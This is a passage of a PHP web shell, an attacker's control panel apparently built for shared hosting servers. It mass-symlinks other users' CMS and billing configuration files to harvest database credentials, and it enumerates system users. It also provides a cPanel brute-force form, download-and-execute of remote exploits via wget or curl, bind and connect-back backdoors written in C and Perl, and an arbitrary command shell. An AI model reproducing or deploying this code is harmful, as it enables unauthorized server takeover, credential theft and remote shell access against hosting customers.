3609 symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
3610 symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
3611 symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
3612 symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
3613 symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
3614 symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
3615 symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
3616 symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
3617 symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
3618 symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
3619 symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
3620 symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
3621 symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
3622 symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
3623 symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
3624 symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
3625 symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
3626 symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
3627 symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
3628 symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
3629 symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
3630 symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
3631 symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
3632 symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
3633 symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
3634 symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
3635 symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
3636 symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
3637 symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
3638 symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
3639 symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
3640 symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
3641 symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
3642 symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
3643 symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
3644 symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
3645 symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
3646 symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
3647 symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
3648 symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
3649 symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
3650 symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
3651 symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
3652 symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
3653 symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
3654 symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
3655 symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
3656 symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
3657 symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
3658 symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
3659 symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
3660 symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
3661 symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
3662 symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
3663 symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
3664 symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
3665 symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
3666 symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
3667 symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
3668 symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
3669 symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
3670 symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
3671 symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
3672 symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
3673 symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
3674 symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
3675 symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
3676 symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
3677 symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
3678 symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
3679 symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
3680 symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
3681 symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
3682 symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
3683 symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
3684 symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
3685 symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
3686 symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
3687 symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
3688 symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
3689 symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
3690 symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
3691 symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
3692 symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
3693 symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
3694 symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
3695 symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
3696 symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
3697 symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
3698 symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
3699 symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
3700 symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
3701 symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
3702 symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
3703 symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
3704 symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
3705 symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
3706 symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
3707 symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
3708 symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
3709 symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
3710 symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
3711 symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
3712 symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
3713 symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
3714 symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
3715 symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
3716 symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
3717 symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
3718 symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
3719 symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
3720 symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
3721 symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
3722 symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
3723 symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
3724 symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
3725 symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
3726 symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
3727 symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
3728 symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
3729 symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
3730 symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
3731 symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
3732 symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
3733 symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
3734 symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
3735 symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
3736 symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
3737 symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
3738 symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
3739 symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
3740 symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
3741 symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
3742 symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
3743 symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
3744 symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
3745 symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
3746 symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
3747 symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
3748 symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
3749 symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
3750 symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
3751 symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
3752 symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
3753 }
3754
3755 $d0mains = @file("/etc/named.conf");
3756
3757 if($d0mains)
3758 {
3759 mkdir($fn);
3760 chdir($fn);
3761
3762 foreach($d0mains as $d0main)
3763 {
3764 if(eregi("zone",$d0main))
3765 {
3766 preg_match_all('#zone "(.*)"#', $d0main, $domains);
3767 flush();
3768
3769 if(strlen(trim($domains[1][0])) > 2)
3770 {
3771 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
3772
3773 syml($user['name'],$domains[1][0]);
3774 }
3775 }
3776 }
3777 echo "<center><font color=lime size=3>Done</font></center>";
3778 echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>Here</font></a></center>";
3779 }
3780 else
3781 {
3782 mkdir($fn);
3783 chdir($fn);
3784 $temp = "";
3785 $val1 = 0;
3786 $val2 = 1000;
3787 for(;$val1 <= $val2;$val1++)
3788 {
3789 $uid = @posix_getpwuid($val1);
3790 if ($uid)
3791 $temp .= join(':',$uid)."\n";
3792 }
3793 echo '<br/>';
3794 $temp = trim($temp);
3795
3796 $file5 = fopen("test.txt","w");
3797 fputs($file5,$temp);
3798 fclose($file5);
3799
3800$htaccess =
3801'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
3802aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
3803biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
3804';
3805$file = fopen(".htaccess","w+");
3806$write = fwrite ($file ,base64_decode($htaccess));
3807
3808 $file = fopen("test.txt", "r") or exit("Unable to open file!");
3809 while(!feof($file))
3810 {
3811 $s = fgets($file);
3812 $matches = array();
3813 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
3814 $matches = str_replace("home/","",$matches[1]);
3815 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
3816 continue;
3817 syml($matches,$matches);
3818 }
3819 fclose($file);
3820 echo "</table>";
3821 unlink("test.txt");
3822 echo "<center><font color=lime size=3>Done</font></center>";
3823 echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>Here</font></a></center>";
3824 }
3825echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
3826exit;
3827}
3828?>
3829<form method="POST" target="_blank">
3830<input name="page" type="hidden" value="find">
3831 <table border=1>
3832 <body bgcolor="black" text="white"><br><br>
3833
3834 <center><b><font size="5" style="italic" color="white">Cpanel BruteForce<br><br></b></center></td></tr>
3835 <tr>
3836 <td>
3837 <strong>User :</strong>
3838 </td>
3839 <td>
3840 <strong><textarea cols="79" style="background:black;outline:none;color:white;" rows="10" name="usernames"><?php system('ls /var/mail');?></textarea></strong>
3841 </td>
3842 <tr>
3843 <td>
3844 <strong>Pass :</strong>
3845 </td>
3846 <td>
3847 <strong><textarea cols="79" style="background:black;outline:none;color:white;" rows="10" name="passwords"></textarea></strong>
3848 </td>
3849 </tr>
3850 <tr>
3851 <td>
3852 <strong>Type :</strong>
3853 </td>
3854 <td>
3855 <span style="background:black;outline:none;color:white;"><strong>Simple : </strong> </span>
3856 <strong>
3857 <input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
3858 <font style="background:black;outline:none;color:white;"><strong>/etc/passwd : </strong> </font>
3859 <strong>
3860 <input type="radio" name="type" value="passwd" style="background:black;outline:none;color:white;"></strong><span class="style3"><strong>
3861 </strong>
3862 </span>
3863 <td style="background:black;outline:none;color:white;" >
3864 <strong><input class ='inputzbut' type="submit" value="START"></strong>
3865 </td>
3866 </tr>
3867 </table>
3868 <br>
3869 <table border=1>
3870 <tr>
3871 <td valign="top" style="background:black;outline:none;color:white;" >
3872 <strong>Get Config</strong>
3873 <br>
3874 <form method="POST" target="_blank">
3875 <strong>
3876<input name="mendapatkan" type="hidden" value="passwd" >
3877 </strong>
3878 <strong>Folder Name :</strong>
3879 <td>
3880
3881 <strong><input style="background:black;outline:none;color:white;" size="80" name="foldername" type="text"></strong>
3882 <td style="background:black;outline:none;color:white;" >
3883 <strong><input class ='inputzbut' type="submit" value="GO">
3884 </strong>
3885 </td>
3886 <tr>
3887</form>
3888<tr>
3889 <td style="background:black;outline:none;color:white;">
3890 <strong>Get Wordlist</strong>
3891<form method="POST" target="_blank">
3892 <strong>
3893<input name="pass" type="hidden" value="password">
3894 </strong>
3895 <strong>Url Config :</strong>
3896 <td>
3897
3898 <strong>
3899 <input style="background:black;outline:none;color:white;" size="80" name="url" type="text"></strong>
3900
3901 <td style="background:black;outline:none;color:white;"><strong><input class ='inputzbut' type="submit" value="GO">
3902 </strong>
3903 </td>
3904 <tr>
3905 <td style="background:black;outline:none;color:white;" colspan="6">
3906 <strong>Info Security</strong></td>
3907 </tr>
3908 <tr>
3909 <td style="background:black;outline:none;color:white;" style="width: 139px"><strong>Safe Mode</strong></td>
3910 <td style="background:black;outline:none;color:white;" colspan="5">
3911 <strong>
3912<?php
3913}
3914///
3915elseif(isset($_GET['x']) && ($_GET['x'] == 'about'))
3916 {
3917 ?>
3918 <form action="?y=<?php echo $pwd; ?>&x=about" method="post">
3919 <br><br><br><center>
3920 <br>Hai? :)<br>
3921 Gw cuma mau nanya, kenapa si cuma shell aja di taro logger?
3922 gak suka? contact : kapaljetz666@hotmail.com :)
3923<br>fuck you<br>
3924 </div>
3925<?php
3926}
3927//////////////////////////////////////////////////////////////////////////////
3928elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){
3929if(isset($_POST['uploadcomp'])){
3930 if(is_uploaded_file($_FILES['file']['tmp_name'])){
3931 $path = magicboom($_POST['path']);
3932 $fname = $_FILES['file']['name'];
3933 $tmp_name = $_FILES['file']['tmp_name'];
3934 $pindah = $path.$fname;
3935 $stat = @move_uploaded_file($tmp_name,$pindah);
3936 if ($stat) {
3937 $msg = "file uploaded to $pindah";
3938 }
3939 else $msg = "failed to upload $fname";
3940 }
3941 else $msg = "failed to upload $fname";
3942}
3943elseif(isset($_POST['uploadurl'])){
3944 $pilihan = trim($_POST['pilihan']);
3945 $wurl = trim($_POST['wurl']);
3946 $path = magicboom($_POST['path']);
3947 $namafile = download($pilihan,$wurl);
3948 $pindah = $path.$namafile;
3949 if(is_file($pindah)) {
3950 $msg = "file uploaded to $pindah";
3951 }
3952 else $msg = "failed to upload $namafile";
3953
3954}
3955?>
3956<form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">
3957<table class="tabnet" style="width:320px;padding:0 1px;">
3958<tr><th colspan="2">Upload from computer</th></tr>
3959<tr><td colspan="2"><p style="text-align:center;"><input style="color:#FFFF00;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
3960<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
3961</tr>
3962</table></form>
3963<table class="tabnet" style="width:320px;padding:0 1px;">
3964<tr><th colspan="2">Upload from url</th></tr>
3965<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&x=upload">
3966<table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
3967<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
3968<tr><td><select size="1" class="inputz" name="pilihan">
3969<option value="wwget">wget</option>
3970<option value="wlynx">lynx</option>
3971<option value="wfread">fread</option>
3972<option value="wfetch">fetch</option>
3973<option value="wlinks">links</option>
3974<option value="wget">GET</option>
3975<option value="wcurl">curl</option>
3976</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
3977</tr>
3978</table>
3979<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
3980<?php }
3981elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){
3982
3983// bind connect with c
3984if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
3985 $port = trim($_POST['port']);
3986 $passwrd = trim($_POST['bind_pass']);
3987 tulis("bdc.c",$port_bind_bd_c);
3988 exe("gcc -o bdc bdc.c");
3989 exe("chmod 777 bdc");
3990 @unlink("bdc.c");
3991 exe("./bdc ".$port." ".$passwrd." &");
3992 $scan = exe("ps aux");
3993 if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
3994 else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
3995}
3996// bind connect with perl
3997elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
3998 $port = trim($_POST['port']);
3999 $passwrd = trim($_POST['bind_pass']);
4000 tulis("bdp",$port_bind_bd_pl);
4001 exe("chmod 777 bdp");
4002 $p2=which("perl");
4003 exe($p2." bdp ".$port." &");
4004 $scan = exe("ps aux");
4005 if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
4006 else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
4007}
4008// back connect with c
4009elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
4010 $ip = trim($_POST['ip']);
4011 $port = trim($_POST['backport']);
4012 tulis("bcc.c",$back_connect_c);
4013 exe("gcc -o bcc bcc.c");
4014 exe("chmod 777 bcc");
4015 @unlink("bcc.c");
4016 exe("./bcc ".$ip." ".$port." &");
4017 $msg = "Now script try connect to ".$ip." port ".$port." ...";
4018}
4019// back connect with perl
4020elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
4021 $ip = trim($_POST['ip']);
4022 $port = trim($_POST['backport']);
4023 tulis("bcp",$back_connect);
4024 exe("chmod +x bcp");
4025 $p2=which("perl");
4026 exe($p2." bcp ".$ip." ".$port." &");
4027 $msg = "Now script try connect to ".$ip." port ".$port." ...";
4028}
4029elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
4030{
4031 $pilihan = trim($_POST['pilihan']);
4032 $wurl = trim($_POST['wurl']);
4033 $namafile = download($pilihan,$wurl);
4034 if(is_file($namafile)) {
4035
4036 $msg = exe($wcmd);
4037 }
4038 else $msg = "error: file not found $namafile";
4039}
4040
4041?>
4042<table class="tabnet">
4043<tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>
4044<tr>
4045<td>
4046<table>
4047<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
4048<tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
4049<tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
4050<tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
4051<input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
4052</table>
4053</td>
4054<td>
4055<table>
4056<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
4057<tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr>
4058<tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
4059<tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
4060<input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
4061</table>
4062</td>
4063<td>
4064<table>
4065<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
4066<tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
4067<tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
4068</tr>
4069<tr><td><select size="1" class="inputz" name="pilihan">
4070<option value="wwget">wget</option>
4071<option value="wlynx">lynx</option>
4072<option value="wfread">fread</option>
4073<option value="wfetch">fetch</option>
4074<option value="wlinks">links</option>
4075<option value="wget">GET</option>
4076<option value="wcurl">curl</option>
4077</select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
4078</table>
4079</td>
4080</tr>
4081</table>
4082<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
4083<?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){ ?>
4084<form action="?y=<?php echo $pwd; ?>&x=shell" method="post">
4085<table class="cmdbox">
4086<tr><td colspan="2">
4087<textarea class="output" readonly>
4088<?php
4089if(isset($_POST['submitcmd'])) {
4090 echo @exe($_POST['cmd']);
4091}
4092?>
4093</textarea>
4094<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
4095</table>
4096</form>
4097<?php }
4098else {
4099if(isset($_GET['delete']) && ($_GET['delete'] != "")){
4100 $file = $_GET['delete'];
4101 @unlink($file);
4102}
4103elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){
4104 @rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
4105}
4106elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
4107 $path = $pwd.$_GET['mkdir'];
4108 @mkdir($path);
4109}
4110 $buff = showdir($pwd,$prompt);
4111 echo $buff;
4112}
4113?>
4114
4115<br>
4116<br>
4117<center>
4118<br><center><br><br><div class="info">$ Art is the Soul that Moves through the Media $</div><br>
4119<div class="jaya"><b>
4120<script language="JavaScript"> Year=new Date(); var copyright=Year.getUTCFullYear(); document.write("© Jembut Loyality - " + copyright); </script>
4121<b></div></center><br><br>
4122</div>
4123</body>
4124</html>
4125</html>